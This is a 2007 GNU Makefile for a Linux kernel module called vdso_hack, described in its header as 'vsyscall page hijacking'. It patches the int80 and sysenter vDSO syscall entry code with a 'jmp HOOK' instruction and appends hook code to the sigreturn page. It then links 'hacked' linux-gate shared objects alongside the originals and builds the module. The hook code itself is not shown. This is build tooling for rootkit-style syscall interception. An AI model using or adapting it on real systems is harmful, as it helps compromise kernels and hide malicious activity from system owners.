##########
##	vsyscall page hijacking: makefile;
##	author: sbudella (Giuseppe Cocomazzi);
##	contact: sbudella at gmail.com;
##	date: 23 jul 2007;
##	license: gnu general public license, version 2; 
##########

ifneq ($(KERNELRELEASE),)
	obj-m := vdso_hack.o
else
	KERNELDIR ?= /lib/modules/$(shell uname -r)/build 
	PWD := $(shell pwd)

default:
	# create vsyscall-int80.S from template
	rm -f vsyscall-int80.S
	head -6 int80.template > vsyscall-int80.S
	echo -e "\tjmp HOOK" >> vsyscall-int80.S
	tail -40 int80.template >> vsyscall-int80.S

	# create vsyscall-sysenter.S from template
	rm -f vsyscall-sysenter.S
	head -6 sysenter.template > vsyscall-sysenter.S
	echo -e "\tjmp HOOK" >> vsyscall-sysenter.S
	tail -91 sysenter.template | head -11 >> vsyscall-sysenter.S
	echo -e "\t.space 5,0x90" >> vsyscall-sysenter.S
	tail -79 sysenter.template >> vsyscall-sysenter.S

	# create vsyscall-sigreturn joined with hook code
	rm -f vsyscall-sigreturn.S
	cp sigreturn.template vsyscall-sigreturn.S
	echo >> vsyscall-sigreturn.S
	cat hook.S >> vsyscall-sigreturn.S

	# compile code for the hacked int80 vDSO  
	gcc -c -o note.o vsyscall-note.S
	gcc -c -o mcnamara.o vsyscall-int80.S 
	ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.hacked \
		--hash-style=sysv -o mcnamara mcnamara.o note.o

	# compile code for the hacked sysenter vDSO
	gcc -c -o troy.o vsyscall-sysenter.S
	ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.hacked \
		--hash-style=sysv -o troy troy.o note.o

	# compile code for the original int80 vDSO
	cp int80.template int80-orig.S
	gcc -c -o int80.o int80-orig.S
	ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.1 \
                --hash-style=sysv -o int80.so int80.o note.o

	# compile code for the original sysenter vDSO
	cp sysenter.template sysenter-orig.S
	gcc -c -o sysent.o sysenter-orig.S
	ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.1 \
                --hash-style=sysv -o sysent.so sysent.o note.o

	$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
	rm -rf vdso_hack{.o,.ko,.mod.*} Module.* .vdso_hack* .tmp_versions/
	rm -f mcnamara* troy* note.o
	rm -f vsyscall-{sysenter,int80,sigreturn}.S
	rm -f {int80,sysenter}-orig.S
	rm -f {int80,sysent}.{o,so}

endif 
